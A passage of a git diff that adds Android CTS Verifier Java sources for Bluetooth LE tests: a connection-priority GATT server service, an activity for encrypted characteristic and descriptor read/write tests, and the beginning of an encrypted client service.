+    public static final String ACTION_CONNECTION_WRITE_REQUEST =

+            "com.android.cts.verifier.bluetooth.action.CONNECTION_WRITE_REQUEST";

+    public static final String EXTRA_REQUEST_COUNT =

+            "com.android.cts.verifier.bluetooth.intent.EXTRA_REQUEST_COUNT";

+    public static final String ACTION_FINICH_CONNECTION_PRIORITY_HIGHT =

+            "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT";

+    public static final String ACTION_FINICH_CONNECTION_PRIORITY_BALANCED =

+            "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED";

+    public static final String ACTION_FINICH_CONNECTION_PRIORITY_LOW =

+            "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_LOW";

+

+    public static final String ACTION_START_CONNECTION_PRIORITY_TEST =

+            "com.android.cts.verifier.bluetooth.action.ACTION_START_CONNECTION_PRIORITY_TEST";

+

+    public static final String EXTRA_AVERAGE =

+            "com.android.cts.verifier.bluetooth.intent.EXTRA_AVERAGE";

+

+    private static final UUID SERVICE_UUID =

+            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");

+    private static final UUID CHARACTERISTIC_UUID =

+            UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");

+    private static final UUID START_CHARACTERISTIC_UUID =

+            UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");

+    private static final UUID STOP_CHARACTERISTIC_UUID =

+            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");

+    private static final UUID DESCRIPTOR_UUID =

+            UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");

+    public static final UUID ADV_SERVICE_UUID=

+            UUID.fromString("00002222-0000-1000-8000-00805f9b34fb");

+

+    private BluetoothManager mBluetoothManager;

+    private BluetoothGattServer mGattServer;

+    private BluetoothGattService mService;

+    private BluetoothDevice mDevice;

+    private Handler mHandler;

+    private BluetoothLeAdvertiser mAdvertiser;

+    private long mReceiveWriteCount;

+    private Timer mTimeoutTimer;

+    private TimerTask mTimeoutTimerTask;

+

+    @Override

+    public void onCreate() {

+        super.onCreate();

+

+        mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

+        mAdvertiser = mBluetoothManager.getAdapter().getBluetoothLeAdvertiser();

+        mGattServer = mBluetoothManager.openGattServer(this, mCallbacks);

+        mService = createService();

+        if ((mGattServer != null) && (mAdvertiser != null)) {

+            mGattServer.addService(mService);

+        }

+        mDevice = null;

+        mHandler = new Handler();

+

+        if (!mBluetoothManager.getAdapter().isEnabled()) {

+            notifyBluetoothDisabled();

+        } else if (mGattServer == null) {

+            notifyOpenFail();

+        } else if (mAdvertiser == null) {

+            notifyAdvertiseUnsupported();

+        } else {

+            startAdvertise();

+        }

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+

+        cancelTimeoutTimer(false);

+

+        if (mTimeoutTimer != null) {

+            mTimeoutTimer.cancel();

+            mTimeoutTimer = null;

+        }

+        mTimeoutTimerTask = null;

+

+        stopAdvertise();

+        if (mGattServer == null) {

+            return;

+        }

+        if (mDevice != null) {

+            mGattServer.cancelConnection(mDevice);

+        }

+        mGattServer.clearServices();

+        mGattServer.close();

+    }

+

+    @Override

+    public IBinder onBind(Intent intent) {

+        return null;

+    }

+

+    @Override

+    public int onStartCommand(Intent intent, int flags, int startId) {

+        return START_NOT_STICKY;

+    }

+

+    private void notifyBluetoothDisabled() {

+        if (DEBUG) {

+            Log.d(TAG, "notifyBluetoothDisabled");

+        }

+        Intent intent = new Intent(ACTION_BLUETOOTH_DISABLED);

+        sendBroadcast(intent);

+    }

+

+    private void notifyTestStart() {

+        Intent intent = new Intent(BleConnectionPriorityServerService.ACTION_START_CONNECTION_PRIORITY_TEST);

+        sendBroadcast(intent);

+    }

+

+    private void notifyOpenFail() {

+        if (DEBUG) {

+            Log.d(TAG, "notifyOpenFail");

+        }

+        Intent intent = new Intent(BleServerService.BLE_OPEN_FAIL);

+        sendBroadcast(intent);

+    }

+

+    private void notifyAdvertiseUnsupported() {

+        if (DEBUG) {

+            Log.d(TAG, "notifyAdvertiseUnsupported");

+        }

+        Intent intent = new Intent(BleServerService.BLE_ADVERTISE_UNSUPPORTED);

+        sendBroadcast(intent);

+    }

+

+    private void notifyConnected() {

+        if (DEBUG) {

+            Log.d(TAG, "notifyConnected");

+        }

+    }

+

+    private void notifyDisconnected() {

+        if (DEBUG) {

+            Log.d(TAG, "notifyDisconnected");

+        }

+    }

+

+    private void notifyServiceAdded() {

+        if (DEBUG) {

+            Log.d(TAG, "notifyServiceAdded");

+        }

+    }

+

+    private void notifyCharacteristicWriteRequest() {

+        if (DEBUG) {

+            Log.d(TAG, "notifyCharacteristicWriteRequest");

+        }

+        Intent intent = new Intent(ACTION_CONNECTION_WRITE_REQUEST);

+        intent.putExtra(EXTRA_REQUEST_COUNT, String.valueOf(mReceiveWriteCount));

+        sendBroadcast(intent);

+    }

+

+    private void showMessage(final String msg) {

+        mHandler.post(new Runnable() {

+            @Override

+            public void run() {

+                Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_SHORT).show();

+            }

+        });

+    }

+

+    private synchronized void cancelTimeoutTimer(boolean runTimeout) {

+        if (mTimeoutTimerTask != null) {

+            mTimeoutTimer.cancel();

+            if (runTimeout) {

+                mTimeoutTimerTask.run();

+            }

+            mTimeoutTimerTask = null;

+            mTimeoutTimer = null;

+        }

+    }

+

+    private BluetoothGattService createService() {

+        BluetoothGattService service =

+                new BluetoothGattService(SERVICE_UUID, BluetoothGattService.SERVICE_TYPE_PRIMARY);

+        // add characteristic to service

+        //   property: 0x0A (read, write)

+        //   permission: 0x11 (read, write)

+        BluetoothGattCharacteristic characteristic =

+                new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);

+        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);

+        characteristic.addDescriptor(descriptor);

+        service.addCharacteristic(characteristic);

+        characteristic = new BluetoothGattCharacteristic(START_CHARACTERISTIC_UUID, 0x0A, 0x11);

+        characteristic.addDescriptor(descriptor);

+        service.addCharacteristic(characteristic);

+        characteristic = new BluetoothGattCharacteristic(STOP_CHARACTERISTIC_UUID, 0x0A, 0x11);

+        characteristic.addDescriptor(descriptor);

+        service.addCharacteristic(characteristic);

+

+        return service;

+    }

+

+    private final BluetoothGattServerCallback mCallbacks = new BluetoothGattServerCallback() {

+        @Override

+        public void onConnectionStateChange(BluetoothDevice device, int status, int newState) {

+            if (DEBUG) {

+                Log.d(TAG, "onConnectionStateChange: newState=" + newState);

+            }

+            if (status == BluetoothGatt.GATT_SUCCESS) {

+                if (newState == BluetoothProfile.STATE_CONNECTED) {

+                    mDevice = device;

+                    notifyConnected();

+                } else if (status == BluetoothProfile.STATE_DISCONNECTED) {

+                    cancelTimeoutTimer(true);

+                    notifyDisconnected();

+                    mDevice = null;

+                }

+            }

+        }

+

+        @Override

+        public void onServiceAdded(int status, BluetoothGattService service) {

+            if (DEBUG) {

+                Log.d(TAG, "onServiceAdded()");

+            }

+            if (status == BluetoothGatt.GATT_SUCCESS) {

+                notifyServiceAdded();

+            }

+        }

+

+        String mPriority = null;

+

+        @Override

+        public void onCharacteristicWriteRequest(BluetoothDevice device, int requestId,

+                                                 BluetoothGattCharacteristic characteristic,

+                                                 boolean preparedWrite, boolean responseNeeded,

+                                                 int offset, byte[] value) {

+            if (mGattServer == null) {

+                if (DEBUG) {

+                    Log.d(TAG, "GattServer is null, return");

+                }

+                return;

+            }

+            if (DEBUG) {

+                Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite);

+            }

+

+            if (characteristic.getUuid().equals(START_CHARACTERISTIC_UUID)) {

+                // time out if previous measurement is running

+                cancelTimeoutTimer(true);

+

+                mPriority = new String(value);

+                Log.d(TAG, "Start Count Up. Priority is " + mPriority);

+                if (BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH.equals(mPriority)) {

+                    notifyTestStart();

+                }

+

+                // start timeout timer

+                mTimeoutTimer = new Timer(getClass().getName() + "_TimeoutTimer");

+                mTimeoutTimerTask = new TimerTask() {

+                    @Override

+                    public void run() {

+                        // measurement timed out

+                        mTimeoutTimerTask = null;

+                        mTimeoutTimer = null;

+                        mReceiveWriteCount = 0;

+                        notifyMeasurementFinished(mPriority, Long.MAX_VALUE);

+                    }

+                };

+                mTimeoutTimer.schedule(mTimeoutTimerTask, (BleConnectionPriorityClientService.DEFAULT_PERIOD * 2));

+

+                mReceiveWriteCount = 0;

+            } else if (characteristic.getUuid().equals(STOP_CHARACTERISTIC_UUID)) {

+                boolean isRunning = (mTimeoutTimerTask != null);

+                cancelTimeoutTimer(false);

+

+                String valeStr = new String(value);

+                String priority = null;

+                int writeCount = -1;

+                int sep = valeStr.indexOf(",");

+                if (sep > 0) {

+                    priority = valeStr.substring(0, sep);

+                    writeCount = Integer.valueOf(valeStr.substring(sep + 1));

+                }

+

+                if ((mPriority != null) && isRunning) {

+                    if (mPriority.equals(priority)) {

+                        long averageTime = BleConnectionPriorityClientService.DEFAULT_PERIOD / mReceiveWriteCount;

+                        notifyMeasurementFinished(mPriority, averageTime);

+                        Log.d(TAG, "Received " + mReceiveWriteCount + " of " + writeCount + " messages");

+                    } else {

+                        Log.d(TAG, "Connection priority does not match");

+                        showMessage("Connection priority does not match");

+                    }

+                } else {

+                    Log.d(TAG, "Not Start Count UP.");

+                }

+                mReceiveWriteCount = 0;

+            } else {

+                if (mTimeoutTimerTask != null) {

+                    ++mReceiveWriteCount;

+                }

+                if (!preparedWrite) {

+                    characteristic.setValue(value);

+                }

+            }

+

+            if (responseNeeded) {

+                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, 0, null);

+            }

+        }

+    };

+

+    private void notifyMeasurementFinished(String priority, long averageTime) {

+        Intent intent = new Intent();

+        intent.putExtra(EXTRA_AVERAGE, averageTime);

+        switch (priority) {

+            case CONNECTION_PRIORITY_HIGH:

+                intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_HIGHT);

+                break;

+            case CONNECTION_PRIORITY_BALANCED:

+                intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_BALANCED);

+                break;

+            case CONNECTION_PRIORITY_LOW_POWER:

+                intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_LOW);

+                break;

+        }

+        sendBroadcast(intent);

+    }

+

+    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback() {

+        @Override

+        public void onStartFailure(int errorCode) {

+            super.onStartFailure(errorCode);

+            if (errorCode == ADVERTISE_FAILED_FEATURE_UNSUPPORTED) {

+                notifyAdvertiseUnsupported();

+            } else {

+                notifyOpenFail();

+            }

+        }

+    };

+

+    private void startAdvertise() {

+        if (DEBUG) {

+            Log.d(TAG, "startAdvertise");

+        }

+        AdvertiseData data = new AdvertiseData.Builder()

+                .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1, 2, 3})

+                .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))

+                .build();

+        AdvertiseSettings setting = new AdvertiseSettings.Builder()

+                .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)

+                .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)

+                .setConnectable(true)

+                .build();

+        mAdvertiser.startAdvertising(setting, data, mAdvertiseCallback);

+    }

+

+    private void stopAdvertise() {

+        if (DEBUG) {

+            Log.d(TAG, "stopAdvertise");

+        }

+        if (mAdvertiser != null) {

+            mAdvertiser.stopAdvertising(mAdvertiseCallback);

+        }

+    }

+

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
new file mode 100644
index 0000000..3d2b840
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
@@ -0,0 +1,301 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.app.AlertDialog;

+import android.app.Dialog;

+import android.app.ProgressDialog;

+import android.bluetooth.BluetoothAdapter;

+import android.bluetooth.BluetoothManager;

+import android.content.BroadcastReceiver;

+import android.content.Context;

+import android.content.DialogInterface;

+import android.content.Intent;

+import android.content.IntentFilter;

+import android.os.Bundle;

+import android.os.Handler;

+import android.util.Log;

+import android.view.View;

+import android.widget.AdapterView;

+import android.widget.ListView;

+

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleEncryptedClientBaseActivity extends PassFailButtons.Activity {

+

+    private TestAdapter mTestAdapter;

+    private int mAllPassed;

+    private Dialog mDialog;

+    private Handler mHandler;

+

+    private final int BLE_READ_ENCRIPTED_CHARACTERISTIC = 0;

+    private final int BLE_WRITE_ENCRIPTED_CHARACTERISTIC = 1;

+    private final int BLE_READ_ENCRIPTED_DESCRIPTOR = 2;

+    private final int BLE_WRITE_ENCRIPTED_DESCRIPTOR = 3;

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.ble_encrypted_client_test);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_encrypted_client_name,

+                R.string.ble_encrypted_client_info, -1);

+        getPassButton().setEnabled(false);

+

+        mHandler = new Handler();

+

+        mTestAdapter = new TestAdapter(this, setupTestList());

+        ListView listView = (ListView) findViewById(R.id.ble_client_enctypted_tests);

+        listView.setAdapter(mTestAdapter);

+        listView.setOnItemClickListener(new ListView.OnItemClickListener() {

+            @Override

+            public void onItemClick(AdapterView<?> adapterView, View view, int position, long id) {

+                Intent intent = new Intent(BleEncryptedClientBaseActivity.this, BleEncryptedClientService.class);

+                Log.v(getLocalClassName(), "onItemClick()");

+                switch (position) {

+                case BLE_WRITE_ENCRIPTED_CHARACTERISTIC:

+                    intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_CHARACTERISTIC);

+                    break;

+                case BLE_READ_ENCRIPTED_CHARACTERISTIC:

+                    intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_CHARACTERISTIC);

+                    break;

+                case BLE_WRITE_ENCRIPTED_DESCRIPTOR:

+                    intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_DESCRIPTOR);

+                    break;

+                case BLE_READ_ENCRIPTED_DESCRIPTOR:

+                    intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_DESCRIPTOR);

+                    break;

+                default:

+                    return;

+                }

+                startService(intent);

+                showProgressDialog();

+            }

+        });

+

+        mAllPassed = 0;

+    }

+

+    @Override

+    public void onResume() {

+        super.onResume();

+

+        IntentFilter filter = new IntentFilter();

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR);

+        filter.addAction(BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR);

+        filter.addAction(BleEncryptedClientService.ACTION_DISCONNECTED);

+        registerReceiver(mBroadcast, filter);

+    }

+

+    @Override

+    public void onPause() {

+        super.onPause();

+        unregisterReceiver(mBroadcast);

+        closeDialog();

+    }

+

+    private List<Integer> setupTestList() {

+        ArrayList<Integer> testList = new ArrayList<Integer>();

+        testList.add(R.string.ble_read_authenticated_characteristic_name);

+        testList.add(R.string.ble_write_authenticated_characteristic_name);

+        testList.add(R.string.ble_read_authenticated_descriptor_name);

+        testList.add(R.string.ble_write_authenticated_descriptor_name);

+        return testList;

+    }

+

+    private void showErrorDialog(String title, String message, boolean finish) {

+        closeDialog();

+

+        AlertDialog.Builder builder = new AlertDialog.Builder(this)

+                .setTitle(title)

+                .setMessage(message);

+        if (finish) {

+            builder.setOnCancelListener(new Dialog.OnCancelListener() {

+                @Override

+                public void onCancel(DialogInterface dialog) {

+                    finish();

+                }

+            });

+        }

+        builder.create().show();

+    }

+

+    private synchronized void closeDialog() {

+        if (mDialog != null) {

+            mDialog.dismiss();

+            mDialog = null;

+        }

+    }

+

+    private synchronized void showProgressDialog() {

+        closeDialog();

+

+        ProgressDialog dialog = new ProgressDialog(this);

+        dialog.setTitle(R.string.ble_test_running);

+        dialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);

+        dialog.setMessage(getString(R.string.ble_test_running_message));

+        dialog.setCanceledOnTouchOutside(false);

+        mDialog = dialog;

+        mDialog.show();

+    }

+

+    public boolean shouldRebootBluetoothAfterTest() {

+        return false;

+    }

+

+    public boolean isSecure() { return false; }

+

+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

+        @Override

+        public void onReceive(Context context, Intent intent) {

+            String action = intent.getAction();

+            switch (action) {

+            case BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED:

+                showErrorDialog(getString(R.string.ble_bluetooth_disable_title), getString(R.string.ble_bluetooth_disable_message), true);

+                break;

+            case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC:

+                mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_CHARACTERISTIC);

+                mAllPassed |= 0x01;

+                if (!isSecure()) {

+                    closeDialog();

+                }

+                break;

+            case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC:

+                mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_CHARACTERISTIC);

+                mAllPassed |= 0x02;

+                if (!isSecure()) {

+                    closeDialog();

+                }

+                break;

+            case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR:

+                mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_DESCRIPTOR);

+                mAllPassed |= 0x04;

+                if (!isSecure()) {

+                    closeDialog();

+                }

+                break;

+            case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR:

+                mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_DESCRIPTOR);

+                mAllPassed |= 0x08;

+                if (!isSecure()) {

+                    closeDialog();

+                }

+                break;

+            case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC:

+                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);

+                break;

+            case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC:

+                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);

+                break;

+            case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR:

+                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);

+                break;

+            case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR:

+                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);

+                break;

+

+            case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC:

+                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_characteristic), false);

+                break;

+            case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC:

+                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_characteristic), false);

+                break;

+            case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR:

+                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_descriptor), false);

+                break;

+            case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR:

+                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_descriptor), false);

+                break;

+

+            case BleEncryptedClientService.ACTION_DISCONNECTED:

+                if (shouldRebootBluetoothAfterTest()) {

+                    mBtPowerSwitcher.executeSwitching();

+                } else {

+                    closeDialog();

+                }

+                break;

+            }

+

+            mTestAdapter.notifyDataSetChanged();

+            if (mAllPassed == 0x0F) {

+                getPassButton().setEnabled(true);

+            }

+        }

+    };

+

+    private static final long BT_ON_DELAY = 10000;

+    private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();

+    private class BluetoothPowerSwitcher extends BroadcastReceiver {

+

+        private boolean mIsSwitching = false;

+        private BluetoothAdapter mAdapter;

+

+        public void executeSwitching() {

+            if (mAdapter == null) {

+                BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

+                mAdapter = btMgr.getAdapter();

+            }

+

+            if (!mIsSwitching) {

+                IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);

+                registerReceiver(this, filter);

+                mIsSwitching = true;

+                mHandler.postDelayed(new Runnable() {

+                    @Override

+                    public void run() {

+                        mAdapter.disable();

+                    }

+                }, 1000);

+            }

+        }

+

+        @Override

+        public void onReceive(Context context, Intent intent) {

+            if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {

+                int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);

+                if (state == BluetoothAdapter.STATE_OFF) {

+                    mHandler.postDelayed(new Runnable() {

+                        @Override

+                        public void run() {

+                            mAdapter.enable();

+                        }

+                    }, BT_ON_DELAY);

+                } else if (state == BluetoothAdapter.STATE_ON) {

+                    mIsSwitching = false;

+                    unregisterReceiver(this);

+                    getPassButton().setEnabled(true);

+                    closeDialog();

+                }

+            }

+        }

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientService.java
new file mode 100644
index 0000000..68797f5
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientService.java
@@ -0,0 +1,582 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.app.Service;

+import android.bluetooth.BluetoothAdapter;

+import android.bluetooth.BluetoothDevice;

+import android.bluetooth.BluetoothGatt;

+import android.bluetooth.BluetoothGattCallback;

+import android.bluetooth.BluetoothGattCharacteristic;

+import android.bluetooth.BluetoothGattDescriptor;

+import android.bluetooth.BluetoothGattService;

+import android.bluetooth.BluetoothManager;

+import android.bluetooth.BluetoothProfile;

+import android.bluetooth.le.BluetoothLeScanner;

+import android.bluetooth.le.ScanCallback;

+import android.bluetooth.le.ScanFilter;

+import android.bluetooth.le.ScanResult;

+import android.bluetooth.le.ScanSettings;

+import android.content.Context;

+import android.content.Intent;

+import android.os.Handler;

+import android.os.IBinder;

+import android.os.ParcelUuid;

+import android.util.Log;

+import android.widget.Toast;

+

+import java.util.Arrays;

+import java.util.List;

+import java.util.UUID;

+

+public class BleEncryptedClientService extends Service {

+    public static final boolean DEBUG = true;

+    public static final String TAG = "BleEncryptedClient";

+

+    public static final String ACTION_CONNECT_WITH_SECURE =

+            "com.android.cts.verifier.bluetooth.encripted.action.ACTION_CONNECT_WITH_SECURE";

+    public static final String ACTION_CONNECT_WITHOUT_SECURE =

+            "com.android.cts.verifier.bluetooth.encripted.action.ACTION_CONNECT_WITHOUT_SECURE";

+

+    public static final String INTENT_BLE_BLUETOOTH_DISABLED =

+            "com.android.cts.verifier.bluetooth.encripted.intent.BLE_BLUETOOTH_DISABLED";

+    public static final String INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC =

+            "com.android.cts.verifier.bluetooth.encripted.intent.BLE_WRITE_ENCRYPTED_CHARACTERISTIC";

+    public static final String INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC =

+            "com.android.cts.verifier.bluetooth.encripted.intent.BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC";

+    public static final String INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC =

+            "com.android.cts.verifier.bluetooth.encripted.intent.BLE_READ_ENCRYPTED_CHARACTERISTIC";

+    public static final String INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC =

+            "com.android.cts.verifier.bluetooth.encripted.intent.BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC";

+    public static final String INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR =

+            "com.android.cts.verifier.bluetooth.encripted.intent.BLE_WRITE_ENCRYPTED_DESCRIPTOR";

+    public static final String INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR =

+            "com.android.cts.verifier.bluetooth.encripted.intent.BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR";

+    public static final String INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR =

+            "com.android.cts.verifier.bluetooth.encripted.intent.BLE_READ_ENCRYPTED_DESCRIPTOR";

+    public static final String INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR =

+            "com.android.cts.verifier.bluetooth.encripted.intent.BLE_READ_NOT_ENCRYPTED_DESCRIPTOR";

+    public static final String INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC =

+            "com.android.cts.verifier.bluetooth.encripted.intent.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC";

+    public static final String INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC =

+            "com.android.cts.verifier.bluetooth.encripted.intent.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC";

+    public static final String INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR =

+            "com.android.cts.verifier.bluetooth.encripted.intent.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR";

+    public static final String INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR =

+            "com.android.cts.verifier.bluetooth.encripted.intent.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR";

+

+    public static final String ACTION_WRITE_ENCRYPTED_CHARACTERISTIC =

+            "com.android.cts.verifier.bluetooth.encripted.action.WRITE_ENCRYPTED_CHARACTERISTIC";

+    public static final String ACTION_READ_ENCRYPTED_CHARACTERISTIC =

+            "com.android.cts.verifier.bluetooth.encripted.action.READ_ENCRYPTED_CHARACTERISTIC";

+    public static final String ACTION_WRITE_ENCRYPTED_DESCRIPTOR =

+            "com.android.cts.verifier.bluetooth.encripted.action.WRITE_ENCRYPTED_DESCRIPTOR";

+    public static final String ACTION_READ_ENCRYPTED_DESCRIPTOR =

+            "com.android.cts.verifier.bluetooth.encripted.action.READ_ENCRYPTED_DESCRIPTOR";

+

+    public static final String ACTION_DISCONNECTED =

+            "com.android.cts.verifier.bluetooth.encripted.action.DISCONNECTED";

+

+    public static final String WRITE_VALUE = "ENC_CLIENT_TEST";

+

+    private static final UUID SERVICE_UUID =

+            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");

+    private static final UUID CHARACTERISTIC_UUID =

+            UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");

+    private static final UUID DESCRIPTOR_UUID =

+            UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");

+    private static final UUID CHARACTERISTIC_ENCRYPTED_WRITE_UUID =

+            UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");

+    private static final UUID CHARACTERISTIC_ENCRYPTED_READ_UUID =

